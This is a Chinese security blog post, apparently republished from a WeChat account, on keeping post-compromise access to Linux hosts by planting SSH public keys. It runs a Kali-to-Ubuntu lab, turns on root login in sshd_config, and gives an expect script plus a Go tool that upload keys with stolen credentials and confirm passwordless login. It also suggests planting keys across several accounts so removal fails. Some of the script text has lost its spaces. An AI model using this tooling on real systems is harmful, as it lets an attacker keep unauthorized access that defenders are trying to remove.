0x00 前言
新的一年,祝大家:兔眉吐气,生意洋洋得意,前程兔关大道,烦恼兔长而去;兔年发兔财!
反省:2022年换工作了,之后就一直没有继续更新公众号,经过小半年的漂泊,总算安顿下来了。偶尔抽空会发技术文章到群里,偷懒没有写文章,但创建公众号的初衷是可以把这里当作记录学习的一角,回头看不负韶华。感慨一下,也算翻过篇章。昨日种种昨日死,今日种种今日生,开启兔年新篇章。
0x01 SSH公钥实现权限维持
今天要讲的是 SSH 免密码实现权限维持,这里记录一下,顺便抛砖引玉,也看看能不能学习大家自己在权限维持这里更多的技巧。
先说实现过程
获取到高权限账号后,为了保证继续进行后续操作,需要保证当前权限不被ban掉。
写入公钥到目标机,利用本地私钥实现SSH免密登录属于权限维持的一种方式。
在攻击端生成密钥对,将公钥复制到目标机~/.ssh/authorized_keys 文件中,并设置相对应的权限,即可实现免密码登录被控端
0x02 实现
整个过程在虚拟机中模拟,利用kali当攻击端,ubuntu当作被控端。
整个过程分为3个过程: 1. 制作密钥对,2 上传密钥对到服务器,3实现免密登录。
注意事项:
-
目标主机ubuntu 采用桌面版 ,没有安装ssh服务,通过命令: 安装。
sudo apt-get install openssh-server
-
此次测试账号为root,所以ubuntu 需要给root设置密码。
-
安装ssh后,修改ssh配置文件 /etc/ssh/sshd_config 开启密钥登录。添加如下几项到服务器中
-
RSAAuthentication yes #启用RSA认证
PubkeyAuthentication yes #启用公钥认证
AuthorizedKeysFile .ssh/authorized_keys #公钥认证文件
PermitRootLogin yes # 启用 root登录
首先攻击端生成公私钥
ssh -keygen -b 4096 -t rsa
生成后的文件存放在 ~/.ssh/ , id_rsa 为私钥,id_rsa.pub 公钥
第二步:上传公钥到ubuntu 服务器
ssh-copy-id -i ~/.ssh/id_rsa.pub root@192.168.227.136
输入密码即可添加到公钥到authorized_keys
第三步:测试免密登录
ssh -p 22 root@192.168.227.136
简单实现 SSH 免密登录,权限维持的做法那就是将公钥多添加到不同的账户中,不同位置的authorized_keys中。
脚本实现
auto_ssh.sh 脚本 实现上传公钥
#!/usr/bin/expect
settimeout10
setusername[lindex$argv0]
setpassword[lindex$argv1]
sethostname[lindex$argv2]
setport[lindex$argv3]
spawnssh-copy-id-p$port-i./id_rsa.pub-f$username@$hostname
expect{
#firstconnect,nopublickeyin~/.ssh/known_hosts
"yes/no"{
send"yesr"
expect"password:"
send"$passwordr"
}
#alreadyhaspublickeyin~/.ssh/known_hosts
"password:"{
send"$passwordr"
}
"Nowtryloggingintothemachine"{
#ithasauthorized,donothing!
}
}
expecteof
sshpublickeyLogin.go
实现功能:检查本地id_rsa文件,如果不存在就生成;调用auto_ssh文件上传公钥;于心ssh连接 检查是否可以实现无密码登录。
package main
import (
"bufio"
"bytes"
"encoding/json"
"flag"
"fmt"
"os"
"os/exec"
"strconv"
str "strings"
)
func main() {
// sshPublickeyLogin
// 1 备流输出路径
// 输入: port ,host,账号,密码
port := flag.Int("p", 22, "ssh server port")
host := flag.String("h", "192.168.227.136", "host")
username := flag.String("user", "root", "username")
password := flag.String("pass", "test123", "password")
dir := flag.String("dir", "result.json", "输出路径")
flag.Parse()
message, contents := pubKeyLogin(*port, *host, *username, *password)
fmt.Println(message, contents)
}
func pubKeyLogin(port int, host string, username string, password string) (message bool, contents string) {
// 首先判断是否当前目录下是否存在 id_rsa.pub ,如果没有则生成
fileName := "id_rsa.pub"
_, err := os.Stat(fileName)
if err == nil {
fmt.Println("[+] id_rsa.pub file exist")
} else {
cmd1 := exec.Command("ssh-keygen", "-b", "4096", "-t", "rsa", "-f", "id_rsa")
var stdout1, stderr1 bytes.Buffer
cmd1.Stdout = &stdout1
cmd1.Stderr = &stderr1
err := cmd1.Run()
if err != nil {
fmt.Println("[-] create id_rsa file fail", err.Error())
}
fmt.Println("[+] create id_rsa file success ")
}
// 调用ssh-copy-id 上传id_rsa.pub
cmd2 := exec.Command("./auto_ssh.sh", username, password, host, strconv.Itoa(port))
var stdout, stderr bytes.Buffer
cmd2.Stdout = &stdout
cmd2.Stderr = &stderr
if err := cmd2.Run(); err != nil {
fmt.Println("[-] ssh-copy-id fail", stderr.String())
return false, ""
}
fmt.Println("[+] send id_rsa file success ")
// 检查
cmd3 := exec.Command("ssh", "-i", "id_rsa", "-p", strconv.Itoa(port), username+"@"+host)
var stdout3, stderr3 bytes.Buffer
cmd3.Stdout = &stdout3
cmd3.Stderr = &stderr3
if err := cmd3.Run(); err != nil {
fmt.Println("[-] ssh connect fail")
} else {
if str.Contains(str.ToLower(stdout3.String()), str.ToLower("Welcome to")) {
return true, "success"
}
}
return false, ""
}
看到这里,我为什么要调用sh去实现 ssh-copy-id命令,因为ssh-copy-id 使用时会调用ssh,而ssh的输出用go获取不到,也就不能输入密码和保存主机到know_hosts ,这也是为何我要提到抛砖引玉了,希望看到的大佬如果能更简单的实现可以call我。
原文始发于微信公众号(石头安全):权限维持-Linux-SSH密钥登录
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论